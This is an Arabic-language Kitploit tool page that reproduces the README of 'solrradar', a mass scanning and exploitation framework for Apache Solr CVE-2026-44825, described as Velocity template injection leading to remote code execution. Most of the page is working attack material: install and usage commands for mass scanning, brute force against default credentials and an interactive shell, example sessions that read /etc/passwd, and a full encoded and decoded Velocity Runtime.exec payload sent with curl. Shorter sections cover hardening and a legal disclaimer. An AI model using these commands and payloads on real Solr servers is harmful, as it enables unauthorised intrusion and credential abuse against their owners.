Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
solrradar — ☄️ إطار عمل للاستطلاع والاستغلال الجماعي لـ Apache Solr CVE-2026-44825 — حقن قالب Velocity إلى RCE | Kitploit
أدوات/GitHubGitHub/shinthink/solrradar
الاستطلاعماسحات الثغرات الأمنيةهجمات كلمات المرورالاستغلالاستغلال تطبيقات الويبجمع المعلوماتاختبار الاختراقالقيادة والسيطرةالفريق الأحمرتطوير الحمولات
GitHubshinthink/solrradar
51منذ شهر واحدلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

solrradar

☄️ إطار عمل للاستطلاع والاستغلال الجماعي لـ Apache Solr CVE-2026-44825 — حقن قالب Velocity إلى RCE

عرض المستودع

SolrRadar — ماسح Apache Solr لثغرة CVE-2026-44825

Python CVE License

Threads Version Brute RCE Shell

إطار استطلاع واستغلال جماعي لـ Apache Solr

حقن قالب Velocity → تنفيذ التعليمات البرمجية عن بُعد



📑 جدول المحتويات

  • نظرة عامة على الثغرة
  • الإصدارات المتأثرة
  • الميزات
  • التثبيت
  • الاستخدام
  • إثبات المفهوم
  • الغوص التقني العميق
  • منهجية الكشف
  • الدفاع والتخفيف
  • إخلاء المسؤولية
  • المراجع

🔴 نظرة عامة على الثغرة

CVE-2026-44825 هي ثغرة حرجة الخطورة في Apache Solr تتيح للمهاجمين تحقيق تنفيذ تعليمات برمجية عن بُعد (RCE) بدون مصادقة عبر حقن قالب Velocity.

المشكلة

تقبل نقطة النهاية /select في Apache Solr معامل wt=velocity الذي يعرض قوالب Velocity المقدَّمة من المستخدم. عندما يكون كاتب استجابات Velocity (Velocity Response Writer) مفعّلاً (أو يمكن تفعيله عبر واجهة برمجة تطبيقات الإعدادات)، يمكن للمهاجم حقن قالب خبيث يستدعي java.lang.Runtime.exec()، مما ينفّذ أوامر نظام تعسفية بصلاحيات عملية Solr.

التأثير

المتجهالخطورةالتأثير
RCE بدون مصادقة9.8 (حرجة)اختراق كامل للنظام

محرك القوالب Velocity

يضمّن Apache Solr محرك Apache Velocity كمحرك قوالب اختياري لعرض الاستجابات. تكمن الثغرة في VelocityResponseWriter الخاص بـ Solr، والذي يعالج معاملات القوالب الخاضعة لتحكم المستخدم دون تعقيم مناسب، مما يسمح باستدعاء مباشر لواجهات انعكاس Java:

root@kitploit:~
Java Reflection Chain:
vtl → Class.forName("java.lang.Runtime") → getRuntime().exec(cmd)

🟠 الإصدارات المتأثرة

ملاحظة: يتم إجراء فحوصات الإصدار تلقائياً عبر تحليل استجابة JSON الخاصة بالنقطة /admin/info/system.


✨ الميزات


📦 التثبيت

root@kitploit:~
# Clone the repository
git clone https://github.com/shinthink/solrradar.git
cd solrradar

# Install dependencies
pip install -r requirements.txt

# Verify
python solr_scanner.py --help

المتطلبات

root@kitploit:~
requests>=2.28.0
urllib3>=1.26.0

مكتبات قياسية فقط + requests. بدون تبعيات معقدة.


📖 الاستخدام

وسائط سطر الأوامر

root@kitploit:~
CVE-2026-44825 Apache Solr Scanner

  -t, --target     Single target URL or IP[:port]
  -f, --file       File containing targets (one per line, # for comments)
  --exploit        Auto-exploit if vulnerable credentials are found
  --rce            Launch interactive shell after authentication
  -u, --user       Username for Basic Auth
  -pw, --password  Password for Basic Auth
  -o, --output     JSON output file path          (default: solr_results.json)
  -w, --workers    Number of concurrent threads   (default: 30)
  -T, --timeout    HTTP request timeout (seconds) (default: 8)

الفحص الأساسي

root@kitploit:~
# Single target
python solr_scanner.py -t 192.168.1.100:8983

# Single target with custom path
python solr_scanner.py -t http://example.com/solr

# Mass scan from file
python solr_scanner.py -f targets.txt -o results.json

صيغة ملف الأهداف

root@kitploit:~
# targets.txt — supports comments and blank lines
192.168.10.10:8983
192.168.10.20:8983
http://solr-target.internal/solr
192.168.1.0/24          # (CIDR not supported; pre-expand with external tool)

الاستغلال

root@kitploit:~
# Scan + auto-exploit if creds found
python solr_scanner.py -f targets.txt --exploit

# Known credentials + interactive shell
python solr_scanner.py -t target:8983 --rce -u admin -pw SolrRocks

# Auto brute-force + shell on success
python solr_scanner.py -t target:8983 --rce

🧪 إثبات المفهوم

السيناريو 1: الكشف وبصمة الإصدار

root@kitploit:~
$ python solr_scanner.py -f targets.txt
root@kitploit:~
CVE-2026-44825 Apache Solr Scanner

Targets: 3 | Threads: 30 | Timeout: 8s
Scanning...

[Solr 8.11.2] http://192.168.10.10:8983/solr
[Solr 8.11.2] http://192.168.10.20:8983/solr
    Cols (no auth): ['authority', 'dfa', 'oai', 'search']
[Solr 9.4.1] VULN +Auth http://solr-target.internal/solr

Done. Total:3 | Solr:3 | Vuln:1

تم اكتشاف جميع الأهداف الثلاثة. تم وضع علامة على مثيل 9.4.1 كمعرَّض للثغرة مع تفعيل Basic Auth.


السيناريو 2: تخمين بيانات الاعتماد

root@kitploit:~
$ python solr_scanner.py -t solr-target.internal
root@kitploit:~
CVE-2026-44825 Apache Solr Scanner

[Solr 9.4.1] VULN +Auth http://solr-target.internal/solr
    [!] admin:SolrRocks
    Cols: ['cms', 'users', 'search', 'analytics']

بيانات الاعتماد الافتراضية admin:SolrRocks تمنح الوصول إلى واجهات برمجة Solr الإدارية. تم اكتشاف أربع مجموعات.


السيناريو 3: RCE بمصادقة عبر حقن Velocity

root@kitploit:~
$ python solr_scanner.py -t target:8983 --rce -u admin -pw SolrRocks
root@kitploit:~
CVE-2026-44825 Apache Solr Scanner

[+] admin:SolrRocks

solr$ id
uid=8983(solr) gid=8983(solr) groups=8983(solr)

solr$ hostname
solr-prod-cms-01.internal

solr$ whoami
solr

solr$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
solr:x:8983:8983:Solr:/var/solr:/sbin/nologin
...

solr$ exit

وصول كامل لصدفة تفاعلية بصلاحيات عملية Solr الخاصة بـ Java.


السيناريو 4: حمولة RCE (إعادة الإنتاج اليدوية)

للباحثين الذين يريدون فهم التبادل الخام لـ HTTP:

الخطوة 1 — التحقق من إمكانية الوصول إلى Solr

root@kitploit:~
curl -sk 'http://target:8983/solr/admin/info/system' | jq '.lucene."solr-spec-version"'
# "9.4.1"

الخطوة 2 — سرد المجموعات المتاحة

root@kitploit:~
curl -sk -H 'Authorization: Basic YWRtaW46U29sclJvY2tz' \
  'http://target:8983/solr/admin/collections?action=LIST'
# {"collections": ["cms", "search"]}

الخطوة 3 — تنفيذ أمر عبر حقن قالب Velocity

root@kitploit:~
curl -sk -H 'Authorization: Basic YWRtaW46U29sclJvY2tz' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -d 'q=1&wt=velocity&v.template=custom&v.template.custom=%23set(%24x=%27%27)%23set(%24rt=%24x.class.forName(%27java.lang.Runtime%27))%23set(%24chr=%24x.class.forName(%27java.lang.Character%27))%23set(%24ex=%24rt.getRuntime().exec(%27id%27))%24ex.waitFor()%25%23set(%24out=%24ex.getInputStream())%23foreach(%24i%20in%20[1..%24out.available()])%24str.valueOf(%24chr.toChars(%24out.read()))%23end' \
  'http://target:8983/solr/cms/select'

حمولة قالب Velocity بعد فك الترميز:

root@kitploit:~
#set($x='')
#set($rt=$x.class.forName('java.lang.Runtime'))
#set($chr=$x.class.forName('java.lang.Character'))
#set($ex=$rt.getRuntime().exec('id'))
$ex.waitFor()%
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end

الاستجابة:

root@kitploit:~
uid=8983(solr) gid=8983(solr) groups=8983(solr)

🔬 الغوص التقني العميق

البنية

root@kitploit:~
┌──────────────────────────────────────────────────────┐
│                    SOLRRADAR                         │
├───────────────┬──────────────────────────────────────┤
│  RECON PHASE  │           EXPLOIT PHASE              │
│               │                                      │
│  ┌─────────┐  │  ┌──────────┐    ┌────────────────┐  │
│  │ Detect  │──┼──▶ Brute-   │───▶│ Velocity RCE   │  │
│  │ Solr    │  │  │ force    │    │ Template Inj.  │  │
│  └────┬────┘  │  └────┬─────┘    └───────┬────────┘  │
│       │       │       │                   │           │
│       ▼       │       ▼                   ▼           │
│  ┌─────────┐  │  ┌──────────┐    ┌────────────────┐  │
│  │ Version │  │  │ Default  │    │ Runtime.exec() │  │
│  │ Check   │  │  │ Creds    │    │ → RCE          │  │
│  └─────────┘  │  └──────────┘    └────────────────┘  │
│               │                                      │
│  ┌─────────┐  │  ┌────────────────────────────────┐  │
│  │ Auth    │  │  │ Interactive Shell (--rce)       │  │
│  │ Probe   │  │  └────────────────────────────────┘  │
│  └─────────┘  │                                      │
└───────────────┴──────────────────────────────────────┘

مخطط التدفق

root@kitploit:~
Target URL
    │
    ▼
┌─────────────┐
│  normalize  │  → add http:// + /solr if missing
└──────┬──────┘
       │
       ▼
┌─────────────┐     No
│ GET /admin/ ├────────  Skip target
│ info/system │
└──────┬──────┘
       │ Yes (200/401)
       ▼
┌─────────────┐
│ Parse JSON  │  → extract solr-spec-version
│ fingerprint │
└──────┬──────┘
       │
       ▼
┌─────────────┐
│ is_vuln()   │  → 9.4–9.10.x or 10.0.0 ?
└──────┬──────┘
       │
       ├── Not vuln → Report, move on
       │
       ▼ Vuln
┌─────────────┐
│ Auth check  │  → /admin/cores?action=STATUS
│ (3-stage)   │  → /admin/collections?action=LIST
└──────┬──────┘
       │
       ├── No auth → Try unauthenticated listing
       │
       ▼ Auth detected
┌─────────────┐
│ Brute-force │  → 4 users × 8 passwords = 32 attempts
│ credentials │
└──────┬──────┘
       │
       ├── No match → Report vuln (no creds)
       │
       ▼ Creds found
┌─────────────┐
│ List cols / │  → /admin/collections or /admin/cores
│ cores       │
└──────┬──────┘
       │
       ▼
┌─────────────┐
│ RCE via     │  → POST /{collection}/select
│ Velocity    │  → Velocity template → Runtime.exec()
└─────────────┘

لماذا يُعتبر bool(Response[401]) == False مهماً؟

مطبّ خفي في بايثون اكتُشف أثناء التطوير:

root@kitploit:~
>>> import requests
>>> r = requests.get('https://httpbin.org/status/401')
>>> bool(r)
False          # ← 4xx/5xx responses evaluate to False!

هذا يعني أن كل فحص if response and ... يتجاوز استجابات الأخطاء بصمت — حتى عندما تريد تحديداً التعامل مع 401. الحل هو استخدام if response is not None and ... دائماً:

root@kitploit:~
# ❌ Broken — 401 responses are silently skipped
if r and r.status_code == 401:
    auth = True

# ✅ Correct — explicitly check for None
if r is not None and r.status_code == 401:
    auth = True

🔍 منهجية الكشف

يستخدم الماسح استراتيجية كشف من 3 مستويات لتقليل النتائج السلبية الكاذبة:

المستوى 1 — تحليل محتوى النص

root@kitploit:~
'solr' in response.text.lower()

يلتقط Solr في مفاتيح JSON ("solr_home", "solr-spec-version", "mode":"solrcloud")، ولوحات معلومات HTML، وصفحات الأخطاء — دون تمييز بين الأحرف الكبيرة والصغيرة.

المستوى 2 — ترويسة الخادم

root@kitploit:~
'solr' in response.headers.get('Server', '').lower()

تتضمن بعض البيئات كلمة "Solr" في ترويسة Server الخاصة بـ HTTP.

المستوى 3 — فحص المصادقة متعدد المراحل

root@kitploit:~
# Stage 1: Check /admin/info/system response code
# Stage 2: Probe /admin/cores?action=STATUS for 401
# Stage 3: Probe /admin/collections?action=LIST for 401

يلتقط البيئات التي تكون فيها نقطة /admin/info/system عامة ولكن العمليات الإدارية تتطلب مصادقة.

بصمة الإصدار

نمطان من التعبيرات النمطية (regex) لضمان المتانة:

root@kitploit:~
VERSION_RE = [
    r'solr-spec-version[^0-9]*([\d.]+)',   # lucene.solr-spec-version
    r'solr-impl-version[^0-9]*([\d.]+)',   # lucene.solr-impl-version
]

🛡️ الدفاع والتخفيف

إذا كنت تشغّل Apache Solr، فطبّق إجراءات التحصين التالية فوراً:

1. الترقية (موصى بها)

root@kitploit:~
# Upgrade to a patched version
# Solr 9.x → 9.10.2 or later
# Solr 10.x → 10.0.1 or later

2. تعطيل Velocity Response Writer

root@kitploit:~
<!-- In solrconfig.xml — REMOVE or COMMENT OUT: -->
<!--
<queryResponseWriter name="velocity" class="solr.VelocityResponseWriter"/>
-->

3. تفعيل Basic Auth + جدار الحماية

root@kitploit:~
# Restrict access to Solr admin endpoints at the network level
# Only allow trusted IP ranges to access ports 8983/7574
iptables -A INPUT -p tcp --dport 8983 -s TRUSTED_IP/32 -j ACCEPT
iptables -A INPUT -p tcp --dport 8983 -j DROP

4. تدقيق أسطولك

root@kitploit:~
# Use this scanner against your OWN infrastructure
python solr_scanner.py -f my_solr_instances.txt -o audit_results.json

⚠️ إخلاء المسؤولية

🚨 لأغراض تعليمية وللاختبارات المصرَّح بها فقط

هذه الأداة مقدَّمة لأغراض تعليمية فقط وللبحث الأمني المشروع. وهي مخصصة للاستخدام من قبل:

  • 🛡️ المتخصصون في الأمن الذين يجرون اختبارات اختراق مصرَّح بها
  • 🏢 المنظمات التي تدقق بنيتها التحتية الخاصة بـ Apache Solr
  • 🔬 الباحثون الذين يدرسون تقنيات استغلال الثغرات
  • 🎓 الطلاب الذين يتعلمون عن أمن تطبيقات الويب

❌ لا يجوز لك استخدام هذه الأداة من أجل:

  • الوصول إلى أنظمة الحاسوب دون إذن كتابي صريح
  • اختراق أو إتلاف أو تعطيل الأنظمة التي لا تملكها
  • الانخراط في أي نشاط غير قانوني

⚖️ إشعار قانوني

الوصول غير المصرَّح به إلى أنظمة الحاسوب يخالف القوانين، بما في ذلك على سبيل المثال لا الحصر:

  • الولايات المتحدة: قانون الاحتيال وإساءة استخدام الحاسوب (18 U.S.C. § 1030)
  • إندونيسيا: UU ITE Pasal 30 & 46 (UU No. 11 Tahun 2008 jo. UU No. 1 Tahun 2024)
  • الاتحاد الأوروبي: التوجيه 2013/40/EU
  • المملكة المتحدة: قانون إساءة استخدام الحاسوب لعام 1990

لا يتحمل المؤلفون أي مسؤولية عن أي إساءة استخدام أو ضرر أو عواقب قانونية ناتجة عن استخدام هذه الأداة. باستخدامك لهذه الأداة، فإنك تقرّ بأنك المسؤول الوحيد عن أفعالك وتوافق على الامتثال لجميع القوانين المعمول بها.


📚 المراجع


⚡ صُنع بدقة لمجتمع أبحاث الأمن ⚡

Apache® و Apache Solr® علامتان تجاريتان مسجلتان لمؤسسة Apache Software Foundation.
هذا المشروع غير تابع لمؤسسة Apache Software Foundation ولا يحظى بدعمها.

تنزيل الأداة
RCE بمصادقة8.8 (عالية)تنفيذ أكواد بعد المصادقة
كشف المعلومات5.3 (متوسطة)تعداد النوى/المجموعات
إصدار Apache Solrالحالةملاحظات
9.4.0 – 9.10.1🔴 معرَّض للثغرةاستغلال نشط في البيئات الحقيقية
10.0.0🔴 معرَّض للثغرةالإصدارات الأولية من 10.x متأثرة
10.0.1+🟢 مصحَّحتم نقل الإصلاح إلى الإصدارات السابقة
9.10.2+🟢 مصحَّحإصدار التصحيح متاح
≤ 9.3.x🟢 غير متأثرVelocity Response Writer غير موجود
8.x (جميعها)🟢 غير متأثرلا يوجد دعم لـ Velocity

🔍 الاستطلاع

  • فحص متعدد الأهداف — 30 خيطاً متزامناً، قابل للتهيئة
  • بصمة الإصدار — استخراج دقيق لإصدار Solr و Lucene
  • كشف ثنائي الوضع — SolrCloud + المستقل (عقدة واحدة)
  • فحص مدرك للمصادقة — يختبر 3 نقاط نهاية إدارية للتحقق من Basic Auth
  • تعداد المجموعات — يسرد المجموعات/النوى بدون مصادقة عندما يكون ذلك ممكناً

💀 الاستغلال

  • تخمين بيانات الاعتماد — قاموس مدمج لبيانات اعتماد Solr الافتراضية
  • Velocity RCE — حقن قالب عبر java.lang.Runtime.exec()
  • صدفة تفاعلية — طرفية زائفة لأوامر ما بعد الاستغلال
  • سلسلة استغلال تلقائية — كشف → تخمين → RCE في أمر واحد
  • تصدير JSON — مخرجات منظمة للتكامل مع أدوات أخرى
الموردالرابط
سجل NVDCVE-2026-44825
أمان Apache Solrsolr.apache.org/security
وثائق Velocity الخاصة بـ SolrVelocity Response Writer
حقن القوالب OWASPServer-Side Template Injection